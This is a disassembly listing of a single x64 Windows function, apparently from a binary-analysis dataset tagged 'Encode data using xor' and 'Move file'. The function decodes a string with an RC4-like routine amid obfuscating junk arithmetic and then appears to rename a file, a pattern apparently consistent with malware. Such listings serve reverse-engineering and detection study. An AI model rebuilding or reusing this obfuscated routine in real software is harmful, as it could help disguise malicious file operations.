Function at 0x14012a150
Capabilities:
Encode data using xor
Move file

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x648
lea rbp, [rsp + 0x80]
movapd xmmword [rbp + 0x5b0], xmm9
movapd xmmword [rbp + 0x5a0], xmm8
movapd xmmword [rbp + 0x590], xmm7
movapd xmmword [rbp + 0x580], xmm6
mov qword [rbp + 0x578], 0xfffffffffffffffe
mov r12, rcx
xor edi, edi
lea rbx, [rbp + 0x1c0]
mov r8d, 0x208
mov rcx, rbx
xor edx, edx
call fcn.1404a3cc0
mov rcx, r12
call fcn.140139600
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x104
call rax
test eax, eax
je 0x140130023
lea rdi, [rbp - 0x50]
mov r8d, 0x208
mov rcx, rdi
xor edx, edx
call fcn.1404a3cc0
lea rdx, [rbp + 0x1c0]
mov rcx, rdi
call fcn.1404bd5e4
mov rcx, rdi
mov dx, reloc.WLDAP32.dll_Ordinal_46
call fcn.14013af60
mov rsi, rax
cmp word [rax + 4], 0x78
mov qword [rbp + 0x3e0], r12
jne 0x14012a21c
cmp word [rsi + 6], 0x65
je 0x14012b733
mov qword [rbp + 0x520], 0
mov qword [rbp + 0x510], 0
mov qword [rbp + 0x520], 0
mov qword [rbp + 0x510], 0
mov qword [rbp + 0x510], 0
movsd xmm1, qword [rbp + 0x510]
movsd xmm0, qword [0x1404d8b10]
ucomisd xmm0, xmm1
jbe 0x14012a381
movabs rax, 0x8000000000000000
movapd xmm1, xmmword [0x1404d8b20]
movapd xmm2, xmmword [0x1404d8b30]
movsd xmm3, qword [0x1404d8b40]
movsd xmm4, qword [0x1404d8b48]
movsd xmm5, qword [0x1404d78f0]
jmp 0x14012a2d6
movsd xmm6, qword [rbp + 0x510]
addsd xmm6, xmm5
movsd qword [rbp + 0x510], xmm6
movsd xmm6, qword [rbp + 0x510]
ucomisd xmm0, xmm6
jbe 0x14012a381
movsd xmm6, qword [rbp + 0x510]
movsd xmm7, qword [rbp + 0x510]
mov rcx, qword [rbp + 0x510]
xor rcx, rax
movq xmm8, rcx
movsd xmm9, qword [rbp + 0x510]
mulsd xmm9, xmm8
shufpd xmm9, xmm2, 2
movsd xmm8, qword [rbp + 0x510]
unpcklpd xmm6, xmm8
movsd xmm8, qword [rbp + 0x510]
unpcklpd xmm7, xmm8
mulpd xmm6, xmm1
mulpd xmm6, xmm7
addpd xmm6, xmm9
movapd xmm7, xmm6
unpckhpd xmm7, xmm6
divsd xmm6, xmm7
addsd xmm6, qword [rbp + 0x520]
movsd qword [rbp + 0x520], xmm6
movsd xmm6, qword [rbp + 0x520]
ucomisd xmm6, xmm3
jbe 0x14012a2b0
movsd xmm6, qword [rbp + 0x510]
mulsd xmm6, xmm4
addsd xmm6, qword [rbp + 0x520]
movsd qword [rbp + 0x520], xmm6
jmp 0x14012a2b0
movsd xmm0, qword [rbp + 0x520]
xorpd xmm1, xmm1
ucomisd xmm1, xmm0
jbe 0x14012a3a2
call fcn.1404973c5
call fcn.1404973bb
jmp 0x14012b701
mov qword [rbp + 0x3e8], rsi
movaps xmm0, xmmword [0x1404d7900]
movaps xmmword [rbp + 0x410], xmm0
movaps xmm0, xmmword [0x1404d7910]
movaps xmmword [rbp + 0x420], xmm0
movaps xmm0, xmmword [0x1404d7920]
movaps xmmword [rbp + 0x430], xmm0
movaps xmm0, xmmword [0x1404d7930]
movaps xmmword [rbp + 0x440], xmm0
movaps xmm0, xmmword [0x1404d7940]
movaps xmmword [rbp + 0x450], xmm0
movaps xmm0, xmmword [0x1404d7950]
movaps xmmword [rbp + 0x460], xmm0
movaps xmm0, xmmword [0x1404d7960]
movaps xmmword [rbp + 0x470], xmm0
movaps xmm0, xmmword [0x1404d7970]
movaps xmmword [rbp + 0x480], xmm0
movaps xmm0, xmmword [0x1404d7980]
movaps xmmword [rbp + 0x490], xmm0
movaps xmm0, xmmword [0x1404d7990]
movaps xmmword [rbp + 0x4a0], xmm0
movaps xmm0, xmmword [0x1404d79a0]
movaps xmmword [rbp + 0x4b0], xmm0
movaps xmm0, xmmword [0x1404d79b0]
movaps xmmword [rbp + 0x4c0], xmm0
movaps xmm0, xmmword [0x1404d79c0]
movaps xmmword [rbp + 0x4d0], xmm0
movaps xmm0, xmmword [0x1404d79d0]
movaps xmmword [rbp + 0x4e0], xmm0
movaps xmm0, xmmword [0x1404d79e0]
movaps xmmword [rbp + 0x4f0], xmm0
movapd xmm0, xmmword [0x1404d79f0]
movapd xmmword [rbp + 0x500], xmm0
xor r13d, r13d
mov ecx, 0xff
lea r8, fcn.1404973c5
movabs rsi, 0x40ccf68000000000
movabs rbx, 0x40c5b90000000000
movabs r14, 0x40bcf70000000000
movabs r15, 0x40acf80000000000
lea r12, [0x1401301ac]
xor edi, edi
jmp 0x14012a4d9
dec rcx
je 0x14012a8d1
mov edx, 1
cmp rcx, 2
jb 0x14012a4f9
mov edx, 1
nop dword [rax]
add edx, edx
inc edx
cmp rcx, rdx
ja 0x14012a4f0
mov r9d, recvfrom
nop
cmp r13d, 3
ja case.default.0x14012a514
mov eax, r13d
movsxd rax, dword [r12 + rax*4]
add rax, r12
jmp rax
movzx eax, dil
movzx eax, byte [rbp + rax + 0x410]
movsd xmm0, qword [rbp + 0x520]
cvttsd2si rdi, xmm0
jmp 0x14012a59c
movzx eax, dil
movzx eax, byte [rbp + rax + 0x410]
movsd xmm0, qword [rbp + 0x520]
cvttsd2si rdi, xmm0
shr edi, 0x10
jmp 0x14012a59c
movzx eax, dil
movzx eax, byte [rbp + rax + 0x410]
movsd xmm0, qword [rbp + 0x520]
cvttsd2si rdi, xmm0
shr edi, 8
jmp 0x14012a59c
movzx eax, dil
movzx eax, byte [rbp + rax + 0x410]
movsd xmm0, qword [rbp + 0x520]
cvttsd2si rdi, xmm0
shr edi, 0x18
add dil, al
inc r13d
movzx r10d, dil
mov eax, edx
and eax, r10d
dec r9d
je 0x14012a890
mov r11d, eax
cmp rcx, r11
jb 0x14012a500
jmp 0x14012a896
movzx eax, dil
lea r10d, [r13 - 4]
movzx edi, byte [r10 + r8]
add dil, byte [rbp + rax + 0x410]
inc r13d
cmp r13d, 0x1b
jb 0x14012a5a2
movabs rax, 0x40d9578000000000
mov qword [rbp + 0x3f0], rax
movabs rax, 0x40d5b8c000000000
mov qword [rbp + 0x540], rax
movabs rax, 0x40d21a0000000000
mov qword [rbp + 0x550], rax
mov qword [rbp + 0x558], rsi
mov qword [rbp + 0x570], rbx
mov qword [rbp + 0x568], r14
mov qword [rbp + 0x560], r15
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x568]
mulsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x558]
mulsd xmm1, xmm0
movsd qword [rbp + 0x558], xmm1
movsd xmm0, qword [rbp + 0x560]
addsd xmm0, qword [rbp + 0x568]
movsd qword [rbp + 0x568], xmm0
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x570]
mulsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x570]
mulsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x3f0]
subsd xmm1, xmm0
movsd qword [rbp + 0x3f0], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x558]
mulsd xmm1, xmm0
movsd qword [rbp + 0x558], xmm1
movsd xmm0, qword [rbp + 0x560]
movsd xmm1, qword [rbp + 0x558]
ucomisd xmm0, xmm1
movsd xmm0, qword [rbp + 0x3f0]
movsd xmm1, qword [rbp + 0x568]
jbe 0x14012a7d1
addsd xmm0, xmm1
movsd qword [rbp + 0x568], xmm0
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x550]
mulsd xmm1, xmm0
movsd qword [rbp + 0x550], xmm1
movsd xmm0, qword [rbp + 0x3f0]
movsd xmm1, qword [rbp + 0x568]
subsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x558]
movsd xmm1, qword [rbp + 0x540]
subsd xmm1, xmm0
movsd qword [rbp + 0x540], xmm1
movsd xmm0, qword [rbp + 0x558]
movsd xmm1, qword [rbp + 0x540]
subsd xmm1, xmm0
movsd qword [rbp + 0x540], xmm1
movsd xmm0, qword [rbp + 0x568]
addsd xmm0, qword [rbp + 0x558]
movsd qword [rbp + 0x558], xmm0
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x550]
subsd xmm1, xmm0
movsd qword [rbp + 0x550], xmm1
jmp 0x14012a87c
subsd xmm1, xmm0
movsd qword [rbp + 0x568], xmm1
movsd xmm0, qword [rbp + 0x540]
addsd xmm0, qword [rbp + 0x560]
movsd qword [rbp + 0x560], xmm0
movsd xmm0, qword [rbp + 0x558]
movsd xmm1, qword [rbp + 0x540]
mulsd xmm1, xmm0
movsd qword [rbp + 0x540], xmm1
movsd xmm0, qword [rbp + 0x550]
addsd xmm0, qword [rbp + 0x3f0]
movsd qword [rbp + 0x3f0], xmm0
movsd xmm0, qword [rbp + 0x570]
addsd xmm0, qword [rbp + 0x550]
movsd qword [rbp + 0x550], xmm0
movsd xmm0, qword [rbp + 0x550]
movsd xmm1, qword [rbp + 0x3f0]
subsd xmm1, xmm0
movsd qword [rbp + 0x3f0], xmm1
movsd xmm0, qword [rbp + 0x540]
movsd xmm1, qword [rbp + 0x560]
mulsd xmm1, xmm0
movsd qword [rbp + 0x560], xmm1
xor r13d, r13d
add dil, 0x1b
jmp 0x14012a5a2
xor edx, edx
div ecx
mov eax, edx
mov eax, eax
cmp rcx, rax
je 0x14012a4d0
movzx edx, byte [rbp + rcx + 0x410]
xor dl, byte [rbp + rax + 0x410]
mov byte [rbp + rcx + 0x410], dl
xor dl, byte [rbp + rax + 0x410]
mov byte [rbp + rax + 0x410], dl
xor byte [rbp + rcx + 0x410], dl
jmp 0x14012a4d0
movzx eax, byte [rbp + 0x411]
movzx edx, byte [rbp + 0x413]
movzx r8d, al
movzx ecx, byte [rbp + 0x415]
movzx edi, byte [rbp + 0x417]
movzx r10d, byte [rbp + r10 + 0x410]
movzx r14d, r10b
mov dword [rbp + 0x3f0], 0x46982400
mov dword [rbp + 0x540], 0x464adc00
mov dword [rbp + 0x550], 0x45cae000
movss xmm0, dword [rbp + 0x550]
movss xmm1, dword [rbp + 0x3f0]
subss xmm1, xmm0
movss dword [rbp + 0x3f0], xmm1
movss xmm0, dword [rbp + 0x550]
movss xmm1, dword [rbp + 0x540]
mulss xmm1, xmm0
movss dword [rbp + 0x540], xmm1
movss xmm0, dword [rbp + 0x550]
movss xmm1, dword [rbp + 0x540]
subss xmm1, xmm0
movss dword [rbp + 0x540], xmm1
movss xmm0, dword [rbp + 0x550]
movss xmm1, dword [rbp + 0x540]
ucomiss xmm1, xmm0
jbe 0x14012a9d3
movss xmm0, dword [rbp + 0x550]
movss xmm1, dword [rbp + 0x540]
subss xmm1, xmm0
movss dword [rbp + 0x540], xmm1
movss xmm0, dword [rbp + 0x3f0]
movss xmm1, dword [rbp + 0x550]
mulss xmm1, xmm0
movss dword [rbp + 0x550], xmm1
movss xmm0, dword [rbp + 0x3f0]
movss xmm1, dword [rbp + 0x550]
mulss xmm1, xmm0
jmp 0x14012aa1f
movss xmm0, dword [rbp + 0x540]
movss xmm1, dword [rbp + 0x550]
subss xmm1, xmm0
movss dword [rbp + 0x550], xmm1
movss xmm0, dword [rbp + 0x540]
movss xmm1, dword [rbp + 0x550]
mulss xmm1, xmm0
movss dword [rbp + 0x550], xmm1
movss xmm0, dword [rbp + 0x540]
movss xmm1, dword [rbp + 0x550]
subss xmm1, xmm0
movss dword [rbp + 0x550], xmm1
movzx ebx, byte [fcn.1404973bb]
movzx r9d, byte [0x1404973bc]
add r9b, 0x54
shl bl, 4
add bl, 0x60
or bl, r9b
movzx r9d, byte [rbp + r14 + 0x410]
lea r11d, [rax + 1]
add dl, byte [rbp + r8 + 0x410]
movzx r15d, dl
movzx r8d, byte [rbp + r15 + 0x410]
mov byte [rbp + r14 + 0x410], r8b
movzx r8d, byte [rbp + rdi + 0x410]
mov byte [rbp + r15 + 0x410], r8b
movzx r8d, r11b
movzx r11d, byte [rbp + r8 + 0x410]
mov byte [rbp + rdi + 0x410], r11b
mov byte [rbp + r8 + 0x410], r9b
movzx esi, r9b
add cl, byte [rbp + rsi + 0x410]
mov r11d, esi
add r11b, byte [rbp + r15 + 0x410]
movzx r11d, r11b
movzx r11d, byte [rbp + r11 + 0x410]
movzx r14d, byte [rbp + r14 + 0x410]
add r14b, byte [rbp + rdi + 0x410]
movzx edi, cl
add r14b, byte [rbp + rdi + 0x410]
movzx edi, r14b
movzx edi, byte [rbp + rdi + 0x410]
xor r11b, byte [rbp + rdi + 0x410]
movabs rdi, 0x40d7818000000000
mov qword [rbp + 0x3f0], rdi
movabs rdi, 0x40cf578000000000
mov qword [rbp + 0x540], rdi
movabs rdi, 0x40bf580000000000
mov qword [rbp + 0x550], rdi
movsd xmm0, qword [rbp + 0x550]
addsd xmm0, qword [rbp + 0x3f0]
movsd qword [rbp + 0x3f0], xmm0
movsd xmm0, qword [rbp + 0x550]
addsd xmm0, qword [rbp + 0x540]
movsd qword [rbp + 0x540], xmm0
movsd xmm0, qword [rbp + 0x550]
addsd xmm0, qword [rbp + 0x3f0]
movsd qword [rbp + 0x3f0], xmm0
movsd xmm0, qword [rbp + 0x550]
movsd xmm1, qword [rbp + 0x3f0]
ucomisd xmm0, xmm1
jbe 0x14012abcd
movsd xmm0, qword [rbp + 0x540]
addsd xmm0, qword [rbp + 0x3f0]
movsd qword [rbp + 0x3f0], xmm0
movsd xmm0, qword [rbp + 0x3f0]
movsd xmm1, qword [rbp + 0x550]
mulsd xmm1, xmm0
movsd qword [rbp + 0x550], xmm1
movsd xmm0, qword [rbp + 0x3f0]
addsd xmm0, qword [rbp + 0x550]
movsd qword [rbp + 0x550], xmm0
jmp 0x14012ac24
movsd xmm0, qword [rbp + 0x3f0]
movsd xmm1, qword [rbp + 0x550]
mulsd xmm1, xmm0
movsd qword [rbp + 0x550], xmm1
movsd xmm0, qword [rbp + 0x3f0]
movsd xmm1, qword [rbp + 0x550]
mulsd xmm1, xmm0
movsd qword [rbp + 0x550], xmm1
movsd xmm0, qword [rbp + 0x550]
movsd xmm1, qword [rbp + 0x540]
subsd xmm1, xmm0
movsd qword [rbp + 0x540], xmm1
mov r10d, ebx
xor r11b, bl
movzx ebx, byte [0x1404973bd]
movzx edi, byte [0x1404973be]
add dil, 0x54
shl bl, 4
add bl, 0x60
or bl, dil
movabs rdi, 0x40d05f4000000000
mov qword [rbp + 0x3f0], rdi
movabs rdi, 0x40ca320000000000
mov qword [rbp + 0x540], rdi
movabs rdi, 0x40c3a58000000000
mov qword [rbp + 0x550], rdi
movabs rdi, 0x40ba320000000000
mov qword [rbp + 0x558], rdi
movabs rdi, 0x40aa320000000000
mov qword [rbp + 0x570], rdi
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x3f0]
mulsd xmm1, xmm0
movsd qword [rbp + 0x3f0], xmm1
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x558]
subsd xmm1, xmm0
movsd qword [rbp + 0x558], xmm1
movsd xmm0, qword [rbp + 0x570]
addsd xmm0, qword [rbp + 0x558]
movsd qword [rbp + 0x558], xmm0
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x540]
mulsd xmm1, xmm0
movsd qword [rbp + 0x540], xmm1
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x540]
subsd xmm1, xmm0
movsd qword [rbp + 0x540], xmm1
movsd xmm0, qword [rbp + 0x3f0]
movsd xmm1, qword [rbp + 0x570]
ucomisd xmm1, xmm0
movzx r10d, r10b
jbe 0x14012adca
movsd xmm0, qword [rbp + 0x550]
movsd xmm1, qword [rbp + 0x3f0]
subsd xmm1, xmm0
movsd qword [rbp + 0x3f0], xmm1
movsd xmm0, qword [rbp + 0x540]
addsd xmm0, qword [rbp + 0x570]
movsd qword [rbp + 0x570], xmm0
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x550]
subsd xmm1, xmm0
movsd qword [rbp + 0x550], xmm1
movsd xmm0, qword [rbp + 0x540]
movsd xmm1, qword [rbp + 0x570]
mulsd xmm1, xmm0
movsd qword [rbp + 0x570], xmm1
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x550]
subsd xmm1, xmm0
movsd qword [rbp + 0x550], xmm1
jmp 0x14012ae5f
movsd xmm0, qword [rbp + 0x570]
movsd xmm1, qword [rbp + 0x558]
subsd xmm1, xmm0
movsd qword [rbp + 0x558], xmm1
movsd xmm0, qword [rbp + 0x3f0]
addsd xmm0, qword [rbp + 0x570]
movsd qword [rbp + 0x570], xmm0
movzx r9d, byte [rbp + r10 + 0x410]
movsd xmm0, qword [rbp + 0x540]
movsd xmm1, qword [rbp + 0x3f0]
mulsd xmm1, xmm0
movsd qword [rbp + 0x3f0], xmm1
movsd xmm0, qword [rbp + 0x558]
movsd xmm1, qword [rbp + 0x550]
subsd xmm1, xmm0
movsd qword [rbp + 0x550], xmm1
movsd xmm0, qword [rbp + 0x540]
movsd xmm1, qword [rbp + 0x3f0]
mulsd xmm1, xmm0
movsd qword [rbp + 0x3f0], xmm1
movzx esi, r9b
lea edi, [rax + 2]
add dl, byte [rbp + r8 + 0x410]
movzx edx, dl
movzx r8d, byte [rbp + rdx + 0x410]
mov byte [rbp + r10 + 0x410], r8b
movzx r8d, r11b
movzx r11d, byte [rbp + r8 + 0x410]
mov byte [rbp + rdx + 0x410], r11b
movzx r11d, dil
movzx edi, byte [rbp + r11 + 0x410]
mov byte [rbp + r8 + 0x410], dil
mov byte [rbp + r11 + 0x410], r9b
add cl, byte [rbp + rsi + 0x410]
movzx r11d, byte [rbp + rdx + 0x410]
add r11b, r9b
movzx r11d, r11b
movzx r11d, byte [rbp + r11 + 0x410]
movzx r10d, byte [rbp + r10 + 0x410]
add r10b, byte [rbp + r8 + 0x410]
movzx esi, cl
add r10b, byte [rbp + rsi + 0x410]
movzx r8d, r10b
movzx r8d, byte [rbp + r8 + 0x410]
xor r11b, byte [rbp + r8 + 0x410]
xor r11b, bl
movsx r14d, r11b
mov word [rbp + 0x3f0], r14w
movzx r11d, byte [0x1404973bf]
movzx r8d, byte [0x1404973c0]
add r8, 0x54
mov r10d, r11d
shl r10d, 4
add r10d, 0xfffff660
or r8, r10
movzx edi, bl
movzx r15d, byte [rbp + rdi + 0x410]
lea r12d, [rax + 3]
add dl, r9b
movzx ebx, dl
movzx r9d, byte [rbp + rbx + 0x410]
mov byte [rbp + rdi + 0x410], r9b
movzx r14d, r14b
movzx r9d, byte [rbp + r14 + 0x410]
mov byte [rbp + rbx + 0x410], r9b
movzx r9d, r12b
movzx r12d, byte [rbp + r9 + 0x410]
mov byte [rbp + r14 + 0x410], r12b
mov byte [rbp + r9 + 0x410], r15b
mov dword [rbp + 0x540], 0x46d4f600
mov dword [rbp + 0x550], 0x46aa6000
mov dword [rbp + 0x558], 0x467f9400
mov dword [rbp + 0x570], 0x462a6800
mov dword [rbp + 0x568], 0x45aa7800
movss xmm0, dword [rbp + 0x568]
addss xmm0, dword [rbp + 0x558]
movss dword [rbp + 0x558], xmm0
movss xmm0, dword [rbp + 0x568]
addss xmm0, dword [rbp + 0x550]
movss dword [rbp + 0x550], xmm0
movss xmm0, dword [rbp + 0x568]
addss xmm0, dword [rbp + 0x540]
movss dword [rbp + 0x540], xmm0
movss xmm0, dword [rbp + 0x568]
movss xmm1, dword [rbp + 0x550]
subss xmm1, xmm0
movss dword [rbp + 0x550], xmm1
movss xmm0, dword [rbp + 0x568]
addss xmm0, dword [rbp + 0x550]
movss dword [rbp + 0x550], xmm0
movss xmm0, dword [rbp + 0x568]
movss xmm1, dword [rbp + 0x540]
ucomiss xmm0, xmm1
jbe 0x14012b0e2
movss xmm0, dword [rbp + 0x570]
addss xmm0, dword [rbp + 0x550]
movss dword [rbp + 0x550], xmm0
movss xmm0, dword [rbp + 0x540]
movss xmm1, dword [rbp + 0x570]
mulss xmm1, xmm0
movss dword [rbp + 0x570], xmm1
movss xmm0, dword [rbp + 0x540]
movss xmm1, dword [rbp + 0x570]
mulss xmm1, xmm0
movss dword [rbp + 0x570], xmm1
movss xmm0, dword [rbp + 0x568]
movss xmm1, dword [rbp + 0x558]
divss xmm1, xmm0
movss dword [rbp + 0x558], xmm1
movss xmm0, dword [rbp + 0x568]
movss xmm1, dword [rbp + 0x558]
divss xmm1, xmm0
movss dword [rbp + 0x558], xmm1
jmp 0x14012b179
movss xmm0, dword [rbp + 0x550]
movss xmm1, dword [rbp + 0x540]
subss xmm1, xmm0
movss dword [rbp + 0x540], xmm1
add cl, byte [rbp + r15 + 0x410]
movss xmm0, dword [rbp + 0x558]
movss xmm1, dword [rbp + 0x550]
mulss xmm1, xmm0
movss dword [rbp + 0x550], xmm1
movss xmm0, dword [rbp + 0x540]
movss xmm1, dword [rbp + 0x568]
subss xmm1, xmm0
movss dword [rbp + 0x568], xmm1
movss xmm0, dword [rbp + 0x558]
movss xmm1, dword [rbp + 0x550]
mulss xmm1, xmm0
movss dword [rbp + 0x550], xmm1
movss xmm0, dword [rbp + 0x570]
movss xmm1, dword [rbp + 0x558]
mulss xmm1, xmm0
movss dword [rbp + 0x558], xmm1
movzx esi, cl
mov r12, qword [rbp + 0x3e0]
movzx r15d, byte [rbp + r9 + 0x410]
add r15b, byte [rbp + rbx + 0x410]
movzx ebx, byte [rbp + rdi + 0x410]
add bl, byte [rbp + r14 + 0x410]
add bl, byte [rbp + rsi + 0x410]
movzx esi, r15b
movzx edi, bl
movzx edi, byte [rbp + rdi + 0x410]
movzx ebx, byte [rbp + rsi + 0x410]
xor bl, r8b
xor bl, byte [rbp + rdi + 0x410]
movsx esi, bl
mov word [rbp + 0x3f2], si
mov dword [rbp + 0x540], 0x46b8c000
mov dword [rbp + 0x550], 0x46765800
mov dword [rbp + 0x558], 0x45f66000
movss xmm0, dword [rbp + 0x558]
movss xmm1, dword [rbp + 0x540]
mulss xmm1, xmm0
movss dword [rbp + 0x540], xmm1
movss xmm0, dword [rbp + 0x558]
movss xmm1, dword [rbp + 0x550]
subss xmm1, xmm0
movss dword [rbp + 0x550], xmm1
movss xmm0, dword [rbp + 0x558]
movss xmm1, dword [rbp + 0x550]
mulss xmm1, xmm0
movss dword [rbp + 0x550], xmm1
movss xmm0, dword [rbp + 0x540]
movss xmm1, dword [rbp + 0x558]
ucomiss xmm1, xmm0
jbe 0x14012b36c
movss xmm0, dword [rbp + 0x558]
addss xmm0, dword [rbp + 0x540]
movss dword [rbp + 0x540], xmm0
movss xmm0, dword [rbp + 0x540]
movss xmm1, dword [rbp + 0x550]
mulss xmm1, xmm0
movss dword [rbp + 0x550], xmm1
movss xmm0, dword [rbp + 0x540]
addss xmm0, dword [rbp + 0x550]
movss dword [rbp + 0x550], xmm0
movss xmm0, dword [rbp + 0x558]
movss xmm1, dword [rbp + 0x550]
divss xmm1, xmm0
movss dword [rbp + 0x550], xmm1
movss xmm0, dword [rbp + 0x558]
movss xmm1, dword [rbp + 0x550]
subss xmm1, xmm0
movss dword [rbp + 0x550], xmm1
movss xmm0, dword [rbp + 0x540]
movss xmm1, dword [rbp + 0x558]
mulss xmm1, xmm0
movss dword [rbp + 0x558], xmm1
movss xmm0, dword [rbp + 0x540]
movss xmm1, dword [rbp + 0x558]
ucomiss xmm0, xmm1
jbe 0x14012b3ca
movss xmm0, dword [rbp + 0x540]
addss xmm0, dword [rbp + 0x550]
movss dword [rbp + 0x550], xmm0
movss xmm0, dword [rbp + 0x550]
movss xmm1, dword [rbp + 0x558]
mulss xmm1, xmm0
movss dword [rbp + 0x558], xmm1
movss xmm0, dword [rbp + 0x540]
movss xmm1, dword [rbp + 0x550]
subss xmm1, xmm0
movss dword [rbp + 0x550], xmm1
jmp 0x14012b41e
movss xmm0, dword [rbp + 0x550]
movss xmm1, dword [rbp + 0x558]
mulss xmm1, xmm0
movss dword [rbp + 0x558], xmm1
movss xmm0, dword [rbp + 0x540]
movss xmm1, dword [rbp + 0x550]
mulss xmm1, xmm0
movss dword [rbp + 0x550], xmm1
movzx r11d, byte [0x1404973c1]
movss xmm0, dword [rbp + 0x550]
movss xmm1, dword [rbp + 0x558]
mulss xmm1, xmm0
movss dword [rbp + 0x558], xmm1
jmp 0x14012b41e
movss xmm0, dword [rbp + 0x558]
movss xmm1, dword [rbp + 0x540]
divss xmm1, xmm0
movss dword [rbp + 0x540], xmm1
movss xmm0, dword [rbp + 0x540]
movss xmm1, dword [rbp + 0x550]
subss xmm1, xmm0
movss dword [rbp + 0x550], xmm1
movss xmm0, dword [rbp + 0x558]
movss xmm1, dword [rbp + 0x540]
subss xmm1, xmm0
movss dword [rbp + 0x540], xmm1
movzx esi, byte [0x1404973c2]
movabs rdi, 0x40d7850000000000
mov qword [rbp + 0x540], rdi
movabs rdi, 0x40cf5c0000000000
mov qword [rbp + 0x550], rdi
movabs rdi, 0x40bf5c0000000000
mov qword [rbp + 0x558], rdi
movsd xmm0, qword [rbp + 0x558]
movsd xmm1, qword [rbp + 0x550]
subsd xmm1, xmm0
movsd qword [rbp + 0x550], xmm1
movsd xmm0, qword [rbp + 0x558]
addsd xmm0, qword [rbp + 0x550]
movsd qword [rbp + 0x550], xmm0
movsd xmm0, qword [rbp + 0x558]
addsd xmm0, qword [rbp + 0x550]
movsd qword [rbp + 0x550], xmm0
movsd xmm0, qword [rbp + 0x540]
movsd xmm1, qword [rbp + 0x558]
ucomisd xmm0, xmm1
jbe 0x14012b51a
movsd xmm0, qword [rbp + 0x550]
movsd xmm1, qword [rbp + 0x558]
mulsd xmm1, xmm0
movsd qword [rbp + 0x558], xmm1
movsd xmm0, qword [rbp + 0x550]
movsd xmm1, qword [rbp + 0x558]
mulsd xmm1, xmm0
movsd qword [rbp + 0x558], xmm1
movsd xmm0, qword [rbp + 0x550]
addsd xmm0, qword [rbp + 0x558]
movsd qword [rbp + 0x558], xmm0
shl r11d, 4
add r11d, 0xfffff660
mov r10d, r11d
jmp 0x14012b56a
movsd xmm0, qword [rbp + 0x540]
addsd xmm0, qword [rbp + 0x550]
movsd qword [rbp + 0x550], xmm0
movsd xmm0, qword [rbp + 0x558]
movsd xmm1, qword [rbp + 0x540]
mulsd xmm1, xmm0
movsd qword [rbp + 0x540], xmm1
movsd xmm0, qword [rbp + 0x540]
movsd xmm1, qword [rbp + 0x550]
subsd xmm1, xmm0
movsd qword [rbp + 0x550], xmm1
add rsi, 0x54
mov r10d, r10d
or r10, rsi
movzx r11d, r8b
movzx r8d, byte [rbp + r11 + 0x410]
lea esi, [rax + 4]
add dl, byte [rbp + r9 + 0x410]
movzx r9d, dl
movzx edx, byte [rbp + r9 + 0x410]
mov byte [rbp + r11 + 0x410], dl
movzx edx, bl
movzx ebx, byte [rbp + rdx + 0x410]
mov byte [rbp + r9 + 0x410], bl
movzx esi, sil
movzx ebx, byte [rbp + rsi + 0x410]
mov byte [rbp + rdx + 0x410], bl
mov byte [rbp + rsi + 0x410], r8b
add cl, byte [rbp + r8 + 0x410]
movzx ebx, byte [rbp + r9 + 0x410]
add bl, r8b
movzx esi, bl
movzx r11d, byte [rbp + r11 + 0x410]
add r11b, byte [rbp + rdx + 0x410]
movzx ecx, cl
add r11b, byte [rbp + rcx + 0x410]
movzx edx, r11b
movzx edx, byte [rbp + rdx + 0x410]
movzx r11d, r10b
xor r10b, byte [rbp + rsi + 0x410]
xor r10b, byte [rbp + rdx + 0x410]
movsx edx, r10b
movzx ebx, byte [0x1404973c3]
movzx r10d, byte [rbp + r11 + 0x410]
add al, 5
add r9b, r8b
movzx r8d, r9b
movzx r9d, byte [rbp + r8 + 0x410]
mov byte [rbp + r11 + 0x410], r9b
movzx r9d, dl
movzx esi, byte [rbp + r9 + 0x410]
mov byte [rbp + r8 + 0x410], sil
movzx esi, al
movzx eax, byte [rbp + rsi + 0x410]
mov byte [rbp + r9 + 0x410], al
movzx eax, byte [0x1404973c4]
mov byte [rbp + rsi + 0x410], r10b
shl bl, 4
add bl, 0x60
add al, 0x54
or al, bl
movzx r8d, byte [rbp + r8 + 0x410]
add r8b, r10b
movzx r8d, r8b
xor al, byte [rbp + r8 + 0x410]
movzx r8d, byte [rbp + r11 + 0x410]
add r8b, byte [rbp + r9 + 0x410]
add cl, byte [rbp + r10 + 0x410]
movzx ecx, cl
add r8b, byte [rbp + rcx + 0x410]
movzx ecx, r8b
movzx ecx, byte [rbp + rcx + 0x410]
xor al, byte [rbp + rcx + 0x410]
mov word [rbp + 0x3f4], dx
movsx eax, al
mov word [rbp + 0x3f6], ax
mov word [rbp + 0x3f8], 0
mov rsi, qword [rbp + 0x3e8]
mov word [rsi], 0
lea rdi, [rbp - 0x50]
lea rdx, [rbp + 0x3f0]
mov rcx, rdi
call fcn.1404bd4fc
lea rcx, [rbp + 0x1c0]
mov rdx, rdi
call fcn.1404b7078
mov rcx, r12
mov rdx, rdi
call fcn.1400b8950
mov ecx, reloc.WS2_32.dll_recv
call fcn.14049f228
mov qword [rbp + 0x410], r12
lea rdx, [0x140131e70]
lea r8, [rbp + 0x410]
mov qword [rbp + 0x3e8], rax
mov rcx, rax
call fcn.14013af70
lea rcx, [rbp + 0x540]
call fcn.1404221c0
mov qword [rbp + 0x520], 0
mov qword [rbp + 0x510], 0
